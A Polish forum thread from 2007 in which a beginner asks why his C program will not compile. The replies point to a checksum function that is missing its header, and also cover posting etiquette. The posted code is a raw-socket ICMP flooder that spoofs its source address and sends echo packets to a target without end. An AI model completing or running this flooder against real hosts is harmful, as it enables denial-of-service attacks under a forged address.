Strona 1 z 2
błąd w składni progrmau
: 25 maja 2007, 23:13
autor: oskar.kosela
Kod: Zaznacz cały
error: expected identifier or ‘(’ before ‘{’ token
to błąd który wyskakuje mi od jakiegos czasu ...usunąłem każdy inny ale tego nie mogę się pozbyć...
proszę pomóżcie ........ oto kod programu:
Kod: Zaznacz cały
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip.h>
#define SIZE 4096
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if(nleft == 1)
{
*(u_char*) (&answer) = *(u_char*) w;
sum += answer;
}
sum =(sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
int main(int argc, char* argv[])
{
int sock;
struct iphdr *ip;
struct icmphdr *icmp;
struct sockaddr_in du;
struct hostent *h;
int len;
char buf[SIZE];
memset(&du, 0, sizeof(du));
memset(buf, 0, sizeof(buf));
if((h=gethostbyname(argv[1]))==NULL)
{
perror("gethostbyname()");
exit(1);
}
du.sin_family=AF_INET;
du.sin_addr=*((struct in_addr*)h->h_addr);
memset(&(du.sin_zero),'\0',8);
ip=(struct iphdr*)buf;
icmp=(struct icmphdr*)(buf+sizeof(struct iphdr));
ip->version=4;
ip->ihl=sizeof(struct iphdr)/4;
ip->tot_len=htons(sizeof(struct iphdr)+sizeof(struct icmphdr));
ip->id=htons(getpid() & 255);
ip->ttl=64;
ip->protocol=IPPROTO_ICMP;
ip->saddr=inet_addr(argv[2]);
ip->daddr=du.sin_addr.s_addr;
icmp->type=ICMP_ECHO;
icmp->code=0;
icmp->checksum=0;
icmp->checksum=ip_sum((u_short*)icmp, sizeof(struct icmphdr));
if((sock=socket(PF_INET,SOCK_RAW,255))==-1)
{
perror("socket()");
exit(1);
}
len=sizeof(struct icmphdr)+sizeof(struct iphdr);
while(1)
{
if((sendto(sock,buf,len,0,(struct sockaddr*)&du,sizeof(du)))==-1)
{
perror("sendto()");
exit(1);
}
putchar('.');
}
close(sock);
return 0;
}
//do kodu używaj tagów code
velmafia
: 25 maja 2007, 23:45
autor: velmafia
mała uwaga, jeśli chcesz żeby ktoś Ci pomógł, to staraj się pisać jak najbardziej czytelnie, opisuj jak najwięcej rzeczy które mogą mieć znaczenie, używaj tagów (już je dodałem), a nazwę tematu zmień na taką w której na początku będzie podany język programowania, a potem opis problemy który będzie mówił coś więcej o problemie, to Ty masz zachęcić kogoś do pomocy Tobie, a niechlujne posty raczej tylko zniechęcają.
aloha
Re: błąd w składni progrmau
: 25 maja 2007, 23:58
autor: Lorenzo
[quote="oskar.kosela"]
#define SIZE 4096
{
register int nleft = len]
A może by tak jakiś nagłówek tej funkcji. Co zwraca, jak się nazywa i jakie ma argumenty :>
nowicjusz
: 26 maja 2007, 13:37
autor: oskar.kosela
witam
przepraszam ze tak niechlujnie napisalem na forum ale to moj pierwszys raz .... nigdy nie kozystalem z for internetowych. Jestem poczatkujacym programista C++ kod krory podalem jest przykladem uzytym w podreczniku ... przepisany slowo w slowo... nie chce sie kompilowac u nikogo ... sprawdzie sami ... moze ktos bedzie w stane mi pomoc .. bede bardzo wdzieczny
pozdro
[ Dodano: 2007-05-26, 13:45 ]
przy probie kompilacji dostaje nastepujacy wynik, kod programu zamiescilem juz wczesniej moj sytstem to debian 4.0 etchnatomist wersja gcc 4.3.... prosze pomozcie
Kod: Zaznacz cały
debian-pc:/home/oskar# gcc -o flooder flooder.c
flooder.c:13: error: expected identifier or ‘(’ before ‘{’ token
flooder.c: In function ‘main’:
flooder.c:46: warning: incompatible implicit declaration of built-in function ‘memset’
debian-pc:/home/oskar#
//edit
chciałeś użyć tagów i to Ci się, chwali
ale jeśli wpisujesz je ręcznie to nazwa czyli w tym wypadku code musi być w nawaisach kwadratowych [ ]. Jeśli chcesz to nad oknem, w którym piszesz posta (lub po lewej - jeśli piszesz w "szybka odpowiedź") są przyciski code i inne, więc możesz ich używać. Najlepiej kliknij w przycisk zmień w prawym górnym rogu tego posta i zobacz jak to wygląda. Aby zmienić treść tematu, co sugerował velmafia musisz użyć tego przycisku w pierwszym poście i tam zmienić temat.
: 26 maja 2007, 16:20
autor: mlyczek
oskar.kosela pisze:debian-pc:/home/oskar# gcc -o flooder flooder.c
Dlaczego kompilujesz jako root?
: 26 maja 2007, 17:13
autor: Lorenzo
Kompilacja jako root nie ma tutaj znaczenia (wogóle nie ma znaczenia przy czymkolwiek)
Problem jest w tym że jest blok kodu w klamerkach między DEFINE coś tam a main'em.
Jest tam funckja nieposiadająca nazwy i o to się gcc pluje.
funkcja
: 26 maja 2007, 22:00
autor: oskar.kosela
a jak mozna ja nazwac? sa jakies proste sposoby definicji funkcji ?? czy mozecie mi je podac?? ;-)
: 26 maja 2007, 22:16
autor: ponton
kod krory podalem jest przykladem uzytym w podreczniku ... przepisany slowo w slowo...
E... coś kręcisz..
Kod: Zaznacz cały
icmp->checksum=ip_sum((u_short*)icmp, sizeof(struct icmphdr));
Czy to nie ta funkcja ip_sum?
I wklej DOK£ADNE błędy, jakie daje kompilator, a nie "nie działa pomocy!!11".
bledy
: 26 maja 2007, 22:30
autor: oskar.kosela
Kod: Zaznacz cały
debian-pc:/home/oskar# gcc -o flooder flooder.c
flooder.c:13: error: expected identifier or "(" ; before "{" ; token
flooder.c: In function ‘main’:
flooder.c:46: warning: incompatible implicit declaration of built-in function ‘memset’
debian-pc:/home/oskar#
dokladnie tak .... naprawde doklsdnie przepisalem... dwa razy od paczatku zeby sie upewnic czy nie ma bledow...
: 26 maja 2007, 23:38
autor: velmafia
oskar.kosela, widzę że masz ciągle problemu z tagowaniem postów: zapoznaj się z tym:
http://pl.wikipedia.org/wiki/BBCode
a potem popraw swoje posty